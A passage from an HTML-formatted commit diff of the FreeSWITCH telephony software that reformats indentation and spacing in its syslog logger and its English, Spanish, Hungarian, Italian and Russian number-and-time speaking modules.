-                { &quot;lpr&quot;,      LOG_LPR      },
-                { &quot;mail&quot;,     LOG_MAIL     },
-                { &quot;news&quot;,     LOG_NEWS     },
-                { &quot;syslog&quot;,   LOG_SYSLOG   },
-                { &quot;user&quot;,     LOG_USER     },
-                { &quot;uucp&quot;,     LOG_UUCP     },
-                { NULL,       0            }
</del><ins>+                {&quot;cron&quot;, LOG_CRON},
+                {&quot;daemon&quot;, LOG_DAEMON},
+                {&quot;kern&quot;, LOG_KERN},
+                {&quot;local0&quot;, LOG_LOCAL0},
+                {&quot;local1&quot;, LOG_LOCAL1},
+                {&quot;local2&quot;, LOG_LOCAL2},
+                {&quot;local3&quot;, LOG_LOCAL3},
+                {&quot;local4&quot;, LOG_LOCAL4},
+                {&quot;local5&quot;, LOG_LOCAL5},
+                {&quot;local6&quot;, LOG_LOCAL6},
+                {&quot;local7&quot;, LOG_LOCAL7},
+                {&quot;lpr&quot;, LOG_LPR},
+                {&quot;mail&quot;, LOG_MAIL},
+                {&quot;news&quot;, LOG_NEWS},
+                {&quot;syslog&quot;, LOG_SYSLOG},
+                {&quot;user&quot;, LOG_USER},
+                {&quot;uucp&quot;, LOG_UUCP},
+                {NULL, 0}
</ins><span class="cx">         };
</span><span class="cx">         const struct _facility_table_entry *entry = facilities;
</span><span class="cx"> 
</span><del>-        while(!zstr(entry-&gt;description)) {
</del><ins>+        while (!zstr(entry-&gt;description)) {
</ins><span class="cx">                 if (!strcasecmp(entry-&gt;description, facility)) {
</span><span class="cx">                         globals.facility = entry-&gt;facility;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -148,7 +148,7 @@
</span><span class="cx">         /* don't log blank lines */
</span><span class="cx">         if (!zstr(node-&gt;data) &amp;&amp; (strspn(node-&gt;data, &quot; \t\r\n&quot;) &lt; strlen(node-&gt;data))) {
</span><span class="cx">                 if (globals.log_uuid &amp;&amp; !zstr(node-&gt;userdata)) {
</span><del>-                        syslog(syslog_level, &quot;%s %s&quot;, node-&gt;userdata, node-&gt;data);        
</del><ins>+                        syslog(syslog_level, &quot;%s %s&quot;, node-&gt;userdata, node-&gt;data);
</ins><span class="cx">                 } else {
</span><span class="cx">                         syslog(syslog_level, &quot;%s&quot;, node-&gt;data);
</span><span class="cx">                 }
</span><span class="lines">@@ -161,10 +161,10 @@
</span><span class="cx"> {
</span><span class="cx">         char *cf = &quot;syslog.conf&quot;;
</span><span class="cx">         switch_xml_t cfg, xml, settings, param;
</span><del>-    
-    /* default log level */
-    log_level = SWITCH_LOG_WARNING;
</del><span class="cx"> 
</span><ins>+        /* default log level */
+        log_level = SWITCH_LOG_WARNING;
+
</ins><span class="cx">         /* default facility */
</span><span class="cx">         globals.facility = DEFAULT_FACILITY;
</span><span class="cx"> 
</span><span class="lines">@@ -208,7 +208,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         *module_interface = &amp;console_module_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx"> 
</span><span class="cx">         if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_enmod_say_enc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -101,11 +101,11 @@
</span><span class="cx"> 
</span><span class="cx">         if (b) {
</span><span class="cx">                 if (b &gt; 1) {
</span><del>-                   if ((c==0) &amp;&amp; (method == SSM_COUNTED)) {
-                     say_file(&quot;digits/h-%d0.wav&quot;, b);
-                   } else {
-                     say_file(&quot;digits/%d0.wav&quot;, b);
-                   }
</del><ins>+                        if ((c == 0) &amp;&amp; (method == SSM_COUNTED)) {
+                                say_file(&quot;digits/h-%d0.wav&quot;, b);
+                        } else {
+                                say_file(&quot;digits/%d0.wav&quot;, b);
+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         say_file(&quot;digits/%d%d.wav&quot;, b, c);
</span><span class="cx">                         c = 0;
</span><span class="lines">@@ -277,7 +277,7 @@
</span><span class="cx">         uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, &quot;timezone&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="cx">                 int64_t minutes = 0;
</span><span class="lines">@@ -365,7 +365,7 @@
</span><span class="cx">                 target = switch_micro_time_now();
</span><span class="cx">                 target_now = switch_micro_time_now();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tz) {
</span><span class="cx">                 int check = atoi(tz);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Timezone is [%s]\n&quot;, tz);
</span><span class="lines">@@ -415,7 +415,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 say_month = say_day = say_dow = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="lines">@@ -449,9 +449,9 @@
</span><span class="cx">         if (say_time) {
</span><span class="cx">                 int32_t hour = tm.tm_hour, pm = 0;
</span><span class="cx"> 
</span><del>-                 if (say_date || say_today || say_yesterday || say_dow) {
</del><ins>+                if (say_date || say_today || say_yesterday || say_dow) {
</ins><span class="cx">                         say_file(&quot;time/at.wav&quot;);
</span><del>-                 }
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 if (hour &gt; 12) {
</span><span class="cx">                         hour -= 12;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_esmod_say_esc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -91,67 +91,67 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session,switch_input_args_t *args) 
-{ 
-        if (a) { 
-                switch(a) { 
-                        case 1: 
-                                if (b || c) { 
-                                        say_file(&quot;digits/hundred.wav&quot;); 
-                                } else { 
-                                        say_file(&quot;digits/100.wav&quot;); 
-                                } 
-                                break; 
-                        case 5: 
-                                say_file(&quot;digits/500.wav&quot;); 
-                                break; 
-                        case 7: 
-                                say_file(&quot;digits/700.wav&quot;); 
-                                break; 
-                        case 9: 
-                                say_file(&quot;digits/900.wav&quot;); 
-                                break; 
-                        default: 
-                                say_file(&quot;digits/%d.wav&quot;, a); 
-                                say_file(&quot;digits/hundred.wav&quot;); 
-                                break; 
-                } 
-        } 
</del><ins>+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session, switch_input_args_t *args)
+{
+        if (a) {
+                switch (a) {
+                case 1:
+                        if (b || c) {
+                                say_file(&quot;digits/hundred.wav&quot;);
+                        } else {
+                                say_file(&quot;digits/100.wav&quot;);
+                        }
+                        break;
+                case 5:
+                        say_file(&quot;digits/500.wav&quot;);
+                        break;
+                case 7:
+                        say_file(&quot;digits/700.wav&quot;);
+                        break;
+                case 9:
+                        say_file(&quot;digits/900.wav&quot;);
+                        break;
+                default:
+                        say_file(&quot;digits/%d.wav&quot;, a);
+                        say_file(&quot;digits/hundred.wav&quot;);
+                        break;
+                }
+        }
</ins><span class="cx"> 
</span><del>-        if (b) { 
-                if (b &gt; 1) { 
-                        switch (b) { 
-                                                case 2: if (c) { 
-                                                        say_file(&quot;digits/veinti.wav&quot;); 
-                                                                                                                } else { 
-                                                                                                                        say_file(&quot;digits/20.wav&quot;); 
-                                                                                                                } 
-                                                                                                                break; 
-                                                default: 
-                                                        say_file(&quot;digits/%d0.wav&quot;, b); 
-                                                        if (c) 
-                                                        { 
-                                                                say_file(&quot;currency/and.wav&quot;); 
-                                                        } 
-                                                        break; 
-                        } 
-                } else { 
-                        say_file(&quot;digits/%d%d.wav&quot;, b, c); 
-                        c = 0; 
-                } 
-        } 
-        if (c) { 
-                if (method == SSM_COUNTED) { 
-                        say_file(&quot;digits/h-%d.wav&quot;, c); 
-                } else { 
-                        say_file(&quot;digits/%d.wav&quot;, c); 
-                } 
-        } 
-        if (what &amp;&amp; (a || b || c)) { 
-                say_file(what); 
-        } 
-        return SWITCH_STATUS_SUCCESS; 
-} 
</del><ins>+        if (b) {
+                if (b &gt; 1) {
+                        switch (b) {
+                        case 2:
+                                if (c) {
+                                        say_file(&quot;digits/veinti.wav&quot;);
+                                } else {
+                                        say_file(&quot;digits/20.wav&quot;);
+                                }
+                                break;
+                        default:
+                                say_file(&quot;digits/%d0.wav&quot;, b);
+                                if (c) {
+                                        say_file(&quot;currency/and.wav&quot;);
+                                }
+                                break;
+                        }
+                } else {
+                        say_file(&quot;digits/%d%d.wav&quot;, b, c);
+                        c = 0;
+                }
+        }
+        if (c) {
+                if (method == SSM_COUNTED) {
+                        say_file(&quot;digits/h-%d.wav&quot;, c);
+                } else {
+                        say_file(&quot;digits/%d.wav&quot;, c);
+                }
+        }
+        if (what &amp;&amp; (a || b || c)) {
+                say_file(what);
+        }
+        return SWITCH_STATUS_SUCCESS;
+}
</ins><span class="cx"> 
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_humod_say_huc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -91,7 +91,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session, switch_input_args_t *args)
</del><ins>+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session,
+                                                                  switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         if (a) {
</span><span class="cx">                 say_file(&quot;digits/%d.wav&quot;, a);
</span><span class="lines">@@ -100,11 +101,11 @@
</span><span class="cx"> 
</span><span class="cx">         if (b) {
</span><span class="cx">                 if (b &gt; 2) {
</span><del>-                   if ((c==0) &amp;&amp; (method == SSM_COUNTED)) {
-                     say_file(&quot;digits/h-%d0.wav&quot;, b);
-                   } else {
-                     say_file(&quot;digits/%d0.wav&quot;, b);
-                   }
</del><ins>+                        if ((c == 0) &amp;&amp; (method == SSM_COUNTED)) {
+                                say_file(&quot;digits/h-%d0.wav&quot;, b);
+                        } else {
+                                say_file(&quot;digits/%d0.wav&quot;, b);
+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         say_file(&quot;digits/%d%d.wav&quot;, b, c);
</span><span class="cx">                         c = 0;
</span><span class="lines">@@ -198,10 +199,12 @@
</span><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-                        if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], &quot;digits/million.wav&quot;, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                        if ((status =
+                                 play_group(SSM_PRONOUNCED, places[8], places[7], places[6], &quot;digits/million.wav&quot;, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><del>-                        if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3], &quot;digits/thousand.wav&quot;, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                        if ((status =
+                                 play_group(SSM_PRONOUNCED, places[5], places[4], places[3], &quot;digits/thousand.wav&quot;, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><span class="cx">                         if ((status = play_group(method, places[2], places[1], places[0], NULL, number, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -273,7 +276,7 @@
</span><span class="cx">         uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         const char *tz = switch_channel_get_variable(channel, &quot;timezone&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="cx">                 int64_t minutes = 0;
</span><span class="lines">@@ -349,7 +352,7 @@
</span><span class="cx">                 target = switch_micro_time_now();
</span><span class="cx">                 target_now = switch_micro_time_now();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tz) {
</span><span class="cx">                 int check = atoi(tz);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Timezone is [%s]\n&quot;, tz);
</span><span class="lines">@@ -399,7 +402,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 say_month = say_day = say_dow = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_itmod_say_itc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -181,65 +181,66 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-    
-    /* Get in */
</del><ins>+
+        /* Get in */
</ins><span class="cx">         in = atoi(tosay);
</span><del>-    
-    /* Check if number too big */
-    if (in &gt; 999999999) {
-        /* Fail */
-        return SWITCH_STATUS_FALSE;
-    }
</del><span class="cx"> 
</span><del>-    /* Check if number isin't zero */
</del><ins>+        /* Check if number too big */
+        if (in &gt; 999999999) {
+                /* Fail */
+                return SWITCH_STATUS_FALSE;
+        }
+
+        /* Check if number isin't zero */
</ins><span class="cx">         if (in != 0) {
</span><del>-        
-        /* Init x to 0 */
-        places_count = 0;
-        
-        /* Loop until in is greater than zero */
-        do {
-            /* Get last digit */
-            places[places_count] = in % 10;
-            
-            /* Drop last digit */
-            in = in / 10;
-        }
-        while(in &gt; 0 &amp;&amp; ++places_count &gt; 0 /* fake check to put in while */);
-        
</del><ins>+
+                /* Init x to 0 */
+                places_count = 0;
+
+                /* Loop until in is greater than zero */
+                do {
+                        /* Get last digit */
+                        places[places_count] = in % 10;
+
+                        /* Drop last digit */
+                        in = in / 10;
+                }
+                while (in &gt; 0 &amp;&amp; ++places_count &gt; 0 /* fake check to put in while */ );
+
</ins><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-            
-            /* Check for milions */
-            if (places_count &gt; 5) {
-                /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
-                if (places[6] == 1 &amp;&amp; places[7] == 0 &amp;&amp; places[8] == 0) {
-                    say_file(&quot;digits/un.wav&quot;);
-                    say_file(&quot;digits/million.wav&quot;);
-                } else {
-                    /* Play millions group (digits/million.wav should be digits/millions.wav) */
-                    if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], &quot;digits/million.wav&quot;, session, args)) != SWITCH_STATUS_SUCCESS) {
-                        return status;
-                    }
-                }
-                
-            }
-                        
-            /* Check for thousands */
-            if (places_count &gt; 2) {
-                if (places[3] == 1 &amp;&amp; places[4] == 0 &amp;&amp; places[5] == 0) {
-                    say_file(&quot;digits/thousand.wav&quot;);
-                } else {
-                    /* Play thousand group */
-                    if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
</del><ins>+
+                        /* Check for milions */
+                        if (places_count &gt; 5) {
+                                /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
+                                if (places[6] == 1 &amp;&amp; places[7] == 0 &amp;&amp; places[8] == 0) {
+                                        say_file(&quot;digits/un.wav&quot;);
+                                        say_file(&quot;digits/million.wav&quot;);
+                                } else {
+                                        /* Play millions group (digits/million.wav should be digits/millions.wav) */
+                                        if ((status =
+                                                 play_group(SSM_PRONOUNCED, places[8], places[7], places[6], &quot;digits/million.wav&quot;, session, args)) != SWITCH_STATUS_SUCCESS) {
+                                                return status;
+                                        }
+                                }
+
+                        }
+
+                        /* Check for thousands */
+                        if (places_count &gt; 2) {
+                                if (places[3] == 1 &amp;&amp; places[4] == 0 &amp;&amp; places[5] == 0) {
+                                        say_file(&quot;digits/thousand.wav&quot;);
+                                } else {
+                                        /* Play thousand group */
+                                        if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
</ins><span class="cx">                                                                                          &quot;digits/thousands.wav&quot;, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        return status;
-                    }
-                }
-            }
-            
-            /* Play last group */
</del><ins>+                                                return status;
+                                        }
+                                }
+                        }
+
+                        /* Play last group */
</ins><span class="cx">                         if ((status = play_group(method, places[2], places[1], places[0], NULL, session, args)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 return status;
</span><span class="cx">                         }
</span><span class="lines">@@ -417,11 +418,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (say_time) {
</span><del>-        say_file(&quot;time/hours.wav&quot;);
</del><ins>+                say_file(&quot;time/hours.wav&quot;);
</ins><span class="cx">                 say_num(tm.tm_hour, SSM_PRONOUNCED);
</span><span class="cx"> 
</span><span class="cx">                 if (tm.tm_min) {
</span><del>-            say_file(&quot;time/and.wav&quot;);
</del><ins>+                        say_file(&quot;time/and.wav&quot;);
</ins><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_rumod_say_ruc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -49,13 +49,14 @@
</span><span class="cx"> #include &quot;mod_say_ru.h&quot;
</span><span class="cx"> 
</span><span class="cx"> /* инициализируем массив вариантов произношения цифр описано в define mod_say_ru.h */
</span><del>-struct say_t matrix[7][8]= {{m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
-                                {m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
-                                {m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
-                                {m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
-                                {m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
-                                {m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
-                                {m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}};
</del><ins>+struct say_t matrix[7][8] = { {m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
+{m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
+{m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
+{m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
+{m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
+{m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
+{m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}
+};
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_say_ru_load);
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_say_ru, mod_say_ru_load, NULL, NULL);
</span><span class="lines">@@ -108,8 +109,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return ret;
</span><del>-}                       
-                       
</del><ins>+}
+
</ins><span class="cx"> static switch_status_t ru_spell(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="lines">@@ -133,83 +134,83 @@
</span><span class="cx">                                                                   unit_t what, switch_core_session_t *session, switch_input_args_t *args)
</span><span class="cx"> {
</span><span class="cx">         if (a) {
</span><del>-                if (((b==0)&amp;&amp;(c==0))||(matrix[casus][say_type].all==1)) { //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
-                        if (what==million)        {              //префикс                      число          окончание
</del><ins>+                if (((b == 0) &amp;&amp; (c == 0)) || (matrix[casus][say_type].all == 1)) {        //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
+                        if (what == million) {        //префикс           число          окончание
</ins><span class="cx">                                 say_file(&quot;digits/%s%d00%s.wav&quot;, matrix[casus][say_type].million[12], a, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file(&quot;digits/%s%d00%s.wav&quot;, matrix[casus][say_type].thousand[12], a, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[11]);
</span><span class="cx">                         } else {
</span><span class="cx">                                 say_file(&quot;digits/%s%d00%s.wav&quot;, matrix[casus][say_type].num[6], a, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><del>-                } else { //если дальше есть цифры то тысячи и миллионы не прозносить пока
-                        say_file(&quot;digits/%d00.wav&quot;,a);
</del><ins>+                } else {                                //если дальше есть цифры то тысячи и миллионы не прозносить пока
+                        say_file(&quot;digits/%d00.wav&quot;, a);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (b) {
</span><del>-                if (b&gt;1) { //если 20 и больше
-                        if ((c==0)||(matrix[casus][say_type].all==1)) { //если с равны 0 то сказать 20, двадцати, двадцатая
-                                if (what==million) {              //префикс                      число          окончание
</del><ins>+                if (b &gt; 1) {                        //если 20 и больше
+                        if ((c == 0) || (matrix[casus][say_type].all == 1)) {        //если с равны 0 то сказать 20, двадцати, двадцатая
+                                if (what == million) {        //префикс            число          окончание
</ins><span class="cx">                                         say_file(&quot;digits/%s%d0%s.wav&quot;, matrix[casus][say_type].million[12], b, matrix[casus][say_type].million[13]);
</span><span class="cx">                                         say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[11]);
</span><del>-                                } else if (what==thousand) {
</del><ins>+                                } else if (what == thousand) {
</ins><span class="cx">                                         say_file(&quot;digits/%s%d0%s.wav&quot;, matrix[casus][say_type].thousand[12], b, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                         say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[11]);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         say_file(&quot;digits/%s%d0%s.wav&quot;, matrix[casus][say_type].num[6], b, matrix[casus][say_type].num[7]);
</span><span class="cx">                                 }
</span><del>-                        } else { //если есть дальше цифры
-                                say_file(&quot;digits/%d0.wav&quot;,b);
</del><ins>+                        } else {                        //если есть дальше цифры
+                                say_file(&quot;digits/%d0.wav&quot;, b);
</ins><span class="cx">                         }
</span><del>-                } else { //от 10 до 19
-                        if (what==million) {
</del><ins>+                } else {                                //от 10 до 19
+                        if (what == million) {
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%d%s.wav&quot;, matrix[casus][say_type].million[12], b, c, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%d%s.wav&quot;, matrix[casus][say_type].thousand[12], b, c, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[11]);
</span><del>-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%d%s.wav&quot;, matrix[casus][say_type].num[6], b, c, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><del>-                        c=0;
</del><ins>+                        c = 0;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (c||what==zero) {
-                if (c&lt;=5) {
-                        if (what==million) {
-                                if ((strlen(matrix[casus][say_type].million[c*2])) &gt; 0) { // не произносить если не заданно например 1 миллион а просто миллион
-                                        say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[c*2])
</del><ins>+        if (c || what == zero) {
+                if (c &lt;= 5) {
+                        if (what == million) {
+                                if ((strlen(matrix[casus][say_type].million[c * 2])) &gt; 0) {        // не произносить если не заданно например 1 миллион а просто миллион
+                                        say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[c * 2])
</ins><span class="cx">                                 }
</span><del>-                                say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[c*2+1]);
-                        } else if (what==thousand) {
-                                if ((strlen(matrix[casus][say_type].thousand[c*2])) &gt; 0) { // не произносить если не заданно например одна тысячас  а просто тысяча
-                                        say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[c*2])
</del><ins>+                                say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[c * 2 + 1]);
+                        } else if (what == thousand) {
+                                if ((strlen(matrix[casus][say_type].thousand[c * 2])) &gt; 0) {        // не произносить если не заданно например одна тысячас  а просто тысяча
+                                        say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[c * 2])
</ins><span class="cx">                                 }
</span><del>-                                say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[c*2+1]);
-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                                say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[c * 2 + 1]);
+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].num[c]);
</span><span class="cx">                         }
</span><del>-                } else /* больше 5 */ {
-                        if (what==million) {
</del><ins>+                } else {                                /* больше 5 */
+
+                        if (what == million) {
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%s.wav&quot;, matrix[casus][say_type].million[12], c, matrix[casus][say_type].million[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].million[11]);
</span><del>-                        } else if (what==thousand) {
</del><ins>+                        } else if (what == thousand) {
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%s.wav&quot;, matrix[casus][say_type].thousand[12], c, matrix[casus][say_type].thousand[13]);
</span><span class="cx">                                 say_file(&quot;digits/%s.wav&quot;, matrix[casus][say_type].thousand[11]);
</span><del>-                        } else { //просто произнести цифры с префиксом и окончанием
</del><ins>+                        } else {                        //просто произнести цифры с префиксом и окончанием
</ins><span class="cx">                                 say_file(&quot;digits/%s%d%s.wav&quot;, matrix[casus][say_type].num[6], c, matrix[casus][say_type].num[7]);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-}                                                                                                                                                                                                                                                                                                    
</del><ins>+}
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t ru_say_count(switch_core_session_t *session,
-                                                                        char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
</del><ins>+static switch_status_t ru_say_count(switch_core_session_t *session, char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         int x = 0;
</span><span class="lines">@@ -237,41 +238,45 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
